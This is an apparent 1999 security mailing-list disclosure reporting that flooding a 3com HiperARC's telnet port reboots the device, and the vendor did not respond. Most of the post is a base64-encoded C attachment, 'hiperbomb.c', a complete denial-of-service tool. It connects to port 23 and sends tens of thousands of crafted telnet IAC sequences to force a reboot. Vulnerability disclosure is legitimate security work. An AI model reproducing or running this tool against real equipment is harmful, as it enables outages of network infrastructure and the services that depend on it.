This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. Send mail to mimeat_private for more info. ---254732288-1621199452-934495844=:27775 Content-Type: TEXT/PLAIN; charset=US-ASCII Hello, The attached program will reboot a 3com HiperARC. I made an attempt to contact 3com before posting this report, however, I received no response. By flooding the telnet port of a 3com HiperARC using the provided program, the HiperARC unconditionally reboots. This program is effective over all interfaces, including a dialup. Regards, Jonathan Chapman Director of Network Security FIRST Incorporated jchapmanat_private www.1st.net ---254732288-1621199452-934495844=:27775 Content-Type: TEXT/PLAIN; charset=US-ASCII; name="hiperbomb.c" Content-Transfer-Encoding: BASE64 Content-ID: <Pine.LNX.4.10.9908121810440.27775at_private> Content-Description: Reboots HiperARC [kaboom] Content-Disposition: attachment; filename="hiperbomb.c" LyogLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQogKiBoaXBlcmJvbWIyLmMg LSBSZWJvb3RzIEhpcGVyQVJDIGZhc3Rlci4NCiAqIC0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLQ0KICogKGMpIDE5OTkgLSBKb25hdGhhbiBDaGFwbWFuIDxq Y2hhcG1hbkAxc3QubmV0Pg0KICogLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t DQogKiBTZW5kcyBhIGhpZ2ggdm9sdW1lIG9mIElBQ3Mgd2hpY2ggZXZlbnR1 YWxseSBsZWFkcyB0byBhIHJlYm9vdCBvZiB0aGUNCiAqIEhpcGVyQVJDLiAg QnJpZWYgdGVzdGluZyBpbmRpY2F0ZWQgdGhhdCB0aGlzIHByb2JsZW0gaXMg bW9zdCBsaWtlbHkgDQogKiBzcGVjaWZpYyB0byBzZW5kaW5nIElBQ3MgcmF0 aGVyIHRoYW4gYW55IG90aGVyIHR5cGUgb2YgZGF0YS4gIEZ1cnRoZXINCiAq IHJlc2VhcmNoIGhhcyBzaG93biB0aGF0IHNwZWNpZmljIElBQyBwYXR0ZXJu cyBhcmUgbW9yZSBsaWtlbHkgdG8gY2F1c2UNCiAqIGEgcmVib290LiAgSW4g dGhpcyBleGFtcGxlIEkgdXNlIG9uZSBvZiB0aGUgbW9zdCBlZmZpY2llbnQg Y29tYmluYXRpb25zDQogKiBJIGhhdmUgZGlzY292ZXJlZC4gIFRocm91Z2gg bXkgdGVzdGluZyBpdCB1c3VhbGx5IHJlcXVpcmVkIGF0IGxlYXN0DQogKiA2 MCwwMDAgcGFja2V0cyB0byBjYXVzZSB0aGUgSGlwZXJBUkMgdG8gcmVib290 Lg0KICogLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQogKi8NCg0KDQojaW5j bHVkZSA8c3RkaW8uaD4NCiNpbmNsdWRlIDxzdGRhcmcuaD4NCiNpbmNsdWRl IDxmY250bC5oPg0KI2luY2x1ZGUgPG5ldGRiLmg+DQojaW5jbHVkZSA8bmV0 aW5ldC9pbi5oPg0KI2luY2x1ZGUgPHN5cy9zb2NrZXQuaD4NCg0KY2hhciAq Y2hhc3NpczsNCmludCBzb2NrZmQsIG51bV9vZl90cmllczsNCg0Kdm9pZCBj b25uZWN0X3RvX2NoYXNzaXMoY2hhciAqbmFtZSkNCnsNCiAgICAgICAgc3Ry dWN0IGhvc3RlbnQgKmhvc3Q7DQogICAgICAgIHN0cnVjdCBzb2NrYWRkcl9p biByZW1vdGU7DQoNCiAgICAgICAgaG9zdCA9IGdldGhvc3RieW5hbWUobmFt ZSk7DQoNCiAgICAgICAgaWYoIWhvc3QpIHsNCglmcHJpbnRmKHN0ZGVyciwg IkNhbm5vdCByZXNvbHZlIGhvc3QgJXMuXG4iLCBuYW1lKTsNCiAgICAgICAg ZXhpdCgzKTsNCiAgICAgICAgfQ0KDQogICAgICAgIHNvY2tmZCA9IHNvY2tl dChBRl9JTkVULCBTT0NLX1NUUkVBTSwgMCk7DQoNCiAgICAgICAgaWYoc29j a2ZkIDwgMCkgew0KICAgICAgICBmcHJpbnRmKHN0ZGVyciwgIkNhbm5vdCBv YnRhaW4gZGVzY3JpcHRvci5cbiIpOw0KCWV4aXQoNCk7DQogICAgICAgIH0N Cg0KICAgICAgICByZW1vdGUuc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAg ICAgIHJlbW90ZS5zaW5fYWRkciA9ICooc3RydWN0IGluX2FkZHIgKikqaG9z dC0+aF9hZGRyX2xpc3Q7DQogICAgICAgIHJlbW90ZS5zaW5fcG9ydCA9IGh0 b25zKDIzKTsNCg0KICAgICAgICBjb25uZWN0KHNvY2tmZCwgKHN0cnVjdCBz b2NrYWRkciAqKSZyZW1vdGUsIHNpemVvZihyZW1vdGUpKTsNCg0KCXJldHVy bjsNCn0NCg0Kdm9pZCBzZW5kX2lhY3MoKQ0Kew0KICAgICAgICB1bnNpZ25l ZCBjaGFyIHJlcGx5WzNdID0gezI1NCwgMzYsIDE4NX07DQoJdW5zaWduZWQg aW50IGs7DQoNCiAgICAgICAgZm9yKGsgPSAwOyBrIDwgbnVtX29mX3RyaWVz OyBrKyspIHsNCiAgICAgICAgd3JpdGUoc29ja2ZkLCByZXBseSwgMyk7DQoJ fQ0KfQ0KDQppbnQgbWFpbihpbnQgYWMsIGNoYXIgKiphdikNCnsNCg0KICAg ICAgICBpZihhYyA8IDMpIHsNCiAgICAgICAgZnByaW50ZihzdGRlcnIsICJT eW50YXg6ICVzIDxjaGFzc2lzIG5hbWU+IDxudW0gb2YgcGFja2V0cz5cbiIs IGF2WzBdKTsNCglmcHJpbnRmKHN0ZGVyciwgIkFwcHJveGltYXRlbHkgNjAs MDAwIHBhY2tldHMgdXN1YWxseSB0YWtlcyBjYXJlIG9mIHRoZSBqb2IuXG4i KTsNCiAgICAgICAgZXhpdCgyKTsNCiAgICAgICAgfQ0KDQogICAgICAgIGNo YXNzaXMgPSBhdlsxXTsNCgludW1fb2ZfdHJpZXMgPSBhdG9pKGF2WzJdKTsN Cg0KICAgICAgICBmcHJpbnRmKHN0ZGVyciwgIkJlZ2lubmluZyBhdHRhY2sg b24gY2hhc3NpcyAlcyBbJWQgcGFja2V0c11cbiIsIA0KCQljaGFzc2lzLCBu dW1fb2ZfdHJpZXMpOw0KICAgICAgICBjb25uZWN0X3RvX2NoYXNzaXMoY2hh c3Npcyk7DQogICAgICAgIHNlbmRfaWFjcygpOw0KICAgICAgICBmcHJpbnRm KHN0ZGVyciwgIkF0dGFjayBjb21wbGV0ZS5cbiIpOw0KDQogICAgICAgIGV4 aXQoMCk7DQp9DQoNCg== ---254732288-1621199452-934495844=:27775--
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